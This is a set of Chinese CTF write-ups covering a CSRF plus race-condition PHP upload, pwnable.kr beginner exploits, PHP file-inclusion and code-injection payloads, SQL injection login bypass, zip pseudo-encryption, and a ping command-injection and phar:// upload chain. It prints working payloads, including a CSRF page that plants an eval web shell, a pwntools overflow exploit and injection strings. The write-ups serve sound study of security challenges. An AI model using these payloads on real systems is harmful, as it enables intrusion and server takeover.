标签: ctf

安恒杯一月赛部分题目writeup

首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
	die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
	$filename = './upload/temp/'.$flid.$ext;
	$dst = './upload/images/'.$flid.'.jpg';
	move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
	if(file_exists($filename)){
		try {
			if(file_exists($dst))
				@unlink($dst);
			resizeimg($filename, $dst, 100, 50);
		}catch(Exception $e){
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
	}

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

<html>
    <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"flid\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "上传\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
<script>
	var html = '';
	for(var k=0; k<1000; k++){
		html = html + '<script>submitRequest();<\/script>';
	}
	document.write(html);
</script>
  </body>
</html>

继续阅读 安恒杯一月赛部分题目writeup

pwnable入门题笔记

fd

ssh连上

找到fd的源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[])
{
    if(argc<2)
    {
        printf("pass argv[1] a number\n");
         
        return 0;
     
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf))
    {
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag

 

read函数

ssize_t read(int fd,void * buf ,size_t count);

read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。

linux文件描述符

Integer value <stdio.h> file stream
0 stdin
1 stdout
2 stderr

也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了

又因为

int fd = atoi( argv[1] ) - 0x1234;

所以我们令fd=0x1234的10进制4660然后键入LETMEWIN

 

collision

先看代码

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

分析源码,首先输入长度为20的字符然后与关键函数check_password比较

unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节

然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中

最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下

>>> hex(0x21dd09ec-0x01010101*4)
'0x1dd905e8'

注意下是小端模式

./col $(python -c "print'\xE8\x05\xD9\x1D'+'\x01'*16")

 

bof

给的源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key)
{
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe)
    {
        system("/bin/sh");
    }
    else
    {
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[])
{
    func(0xdeadbeef);
    return 0;
}

key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef

又看到gets 可以溢出

IDA打开编译好的c

发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe

这里盗个图方便理解

所以EXP为

from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52+'\xbe\xba\xfe\xca')
p.interactive()

拿到flag

百度杯ctf二月场几道web题 writeup

include

比较经典的文件包含题,记录一下

首先看phpinfo里allow_url_include为On

所以可以使用php://input包含执行命令

<?php system(ls);?>

 

 

关键文件在dle345aae.php

配合

php://filter/convert.base64-encode/resource=dle345aae.php

读取源码

<?php 
$flag="flag{3da178f7-c351-4acc-b6c1-0b0719f4ec9e}";

爆破1

这里用到PHP超全局变量

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

 

payload:

http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS

 

爆破2

代码注入一下就ok

?hello=);system(ls);//

看来只有flag.php

然后我们直接输出源码就行

比较坑的是i春秋带了waf…我们改成post再传个值绕过

水过..

程序逻辑问题 writeup

最近准备刷一下实验吧的题,抽空做个小记录

题目连接:http://ctf5.shiyanbar.com/web/5/index.php


题目就是登陆成功用户后获得flag

首先获得php源码

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

其中

$sql = "select pw from php where user='$user'";

显然可以注入

接着往下看

$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}

这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等

因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断

但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过

那就好办了,首先先试出来用户名为username

接下来构造sql语句

username' union select md5(123)#

密码处填写123 成功拿到flag

压缩包文件损坏类型题

一般是缺少文件头,也有情况缺少头和尾…

zip的数据信息:

压缩源文件数据区 
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
00 00:扩展记录长度 
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 
压缩源文件目录区 
50 4B 01 02:目录中文件文件头标记(0x02014b50) 
3F 00:压缩使用的 pkware 版本 
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
24 00:扩展字段长度 
00 00:文件注释长度 
00 00:磁盘开始号 
00 00:内部文件属性 
20 00 00 00:外部文件属性 
00 00 00 00:局部头部偏移量 
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 
压缩源文件目录结束标志 
50 4B 05 06:目录结束标记 
00 00:当前磁盘编号 
00 00:目录区开始磁盘编号 
01 00:本磁盘上纪录总数 
01 00:目录区中纪录总数 
59 00 00 00:目录区尺寸大小 
3E 00 00 00:目录区对第一张磁盘的偏移量 
00 00:ZIP 文件注释长度

 

(WEB)ping也能ping挂 writeup

最近又水了一个CTF,分享一道web题

打开界面可以看到需要输入一个ip地址 会返回ping结果 所以可以尝试 | 来执行下一个命令 但发现被过滤了

换一个方法

127.0.0.1&dir

找到上传入口

可以看到一个上传和查看源码

查看源码利用的

you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload

base64解密

<?php
/**
 * Created by PhpStorm.
 * User: xnianq
 * Date: 2017/10/19
 * Time: 上午11:24
 */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>this_is_upload_page</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">

    <!-- Le styles -->
    <link href="../css/bootstrap.css" rel="stylesheet">
    <style>
        body {
            padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
        }
    </style>
    <link href="../css/bootstrap-responsive.css" rel="stylesheet">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
    <link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
    <link rel="shortcut icon" href="./ico/favicon.png">
</head>

<body>

<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="navbar-inner">
        <div class="container">
            <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="brand" href="#">C1sec工具体验</a>
            <div class="nav-collapse collapse">
                <ul class="nav">
                    <li ><a href="index.php">Home</a></li>
                    <li ><a href="ping.php">ping</a></li>
                    <li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
                </ul>
            </div><!--/.nav-collapse -->
        </div>
    </div>
</div>
<div class="container">
    <h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
        <label>Select image to upload:</label>
        <input type="file" name="file">
        <button type="submit" class="btn" name="submit">upload</button>
        <pre>
        <?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));//后缀
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];//内容头
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "你这个孩子,too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>
    </pre>
    </form>
</div> <!-- /container -->

<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>

</body>
</html>

首先可以看到后端对文件后缀做了白名单验证 加上php版本都没有解析漏洞 最后试了好多方法 半夜想到可以试试伪协议,因为下面可以用文件包含来使用绕过,两种问题必须配合用才可以(感觉好多web题都涉及开伪协议了)

常见php伪协议:

* file:// — 访问本地文件系统

* http:// — 访问 HTTP(s) 网址

* ftp:// — 访问 FTP(s) URLs

* php:// — 访问各个输入/输出流(I/O streams)

* zlib:// — 压缩流

* data:// — 数据(RFC 2397)

* glob:// — 查找匹配的文件路径模式

* phar:// — PHP 归档

* ssh2:// — Secure Shell 2

* rar:// — RAR

* ogg:// — 音频流

* expect:// — 处理交互式的流

所以我们可以写一个读取flag的1.php

<?php 
 $file = fopen('../../../../../../../../etc/flag.txt','r');

    if($file){
        while(!feof($file)){
            $line = fgetc($file);
            echo $line;
        }
    }
    fclose($file);
?>

然后压缩为zip

上传时修改后缀为.png 但type的zip类型不要改

上传成功,继续往下看代码

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

设置了一个文件名的随机数

学长帮写了一个爆破程序

爆破出来 文件名假设最后为305005900_1.png

然后..

继续看代码

else{
               @include $_GET['p'].".php";
            }

一个文件包含,最后会自动加上.php,这也是比较纠结的一个点,最后的解决办法就是上面说的可以配合伪协议使用

(题目的难点就是只能上传图片后缀的文件,但却只能读取.php的文件)

所以最后利用phar解里面的1.php

构造的payload为:

http://xxxx/web1/you_find_upload.php?p=phar://upload/305005900_1.png/1